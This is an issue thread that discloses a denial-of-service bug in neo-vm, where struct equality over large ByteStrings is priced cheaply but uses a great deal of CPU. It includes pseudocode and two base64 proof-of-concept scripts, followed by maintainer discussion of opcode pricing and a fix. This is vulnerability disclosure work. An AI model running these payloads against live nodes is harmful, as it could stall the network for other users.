neo-vm ddos caused by struct's equal

[dusmart]

Struct equal combined with ByteString in neo-vm spends huge cpu resources which can exhaust time.

s1 = 'h' * 65535 // len(s1) == 65535, ByteString.MaxComparableSize = 65535
t1 = {s1, s1, ... , s1} // len(t1) == 1000, ExecutionEngineLimits.MaxStackSize = 2048
s2 = 'h' * 65535
t2 = {s2, s2, ... , s2}

t1.equals(t2) // this opcode is very cheap while spends lots of cpu resources

POC1 (50000 iterate, will be complete in 3m35s): DAJoaB9QSotQnUol+v///0UQAv//AACM2ygB5wNQSlGdSiX7////RUO/DAJoaB9QSotQnUol+v///0UQAv//AACM2ygB5wNQSlGdSiX7////RUOdvwJQwwAAEk0STZdFnUol+P///0k=
POC2 (5000000 iterate, damn too long to wait):
DAJoaB9QSotQnUol+v///0UQAv//AACM2ygB5wNQSlGdSiX7////RUO/DAJoaB9QSotQnUol+v///0UQAv//AACM2ygB5wNQSlGdSiX7////RUOdvwJAS0wAEk0STZdFnUol+P///0k=

Ref: #20

roman-khimov: Opcode prices were tested and discussed in neo-project/neo#2004 and neo-project/neo#1875 previously.
roman-khimov: We can also remember neo-project/neo#1855 and neo-project/neo-vm#367, do we want MaxComparableStructSize now?
dusmart The item EQUAL(max) in table in neo-project/neo#2004 should be updated. 80 microseconds is not the max time consumed. In this case, it should be somethings between 1024~65535.

[dusmart]

～ 4300 microseconds per equal test
~ 6 hours will be needed for 5000_000 iterates

[dusmart]

closed by neo-project/neo-vm#454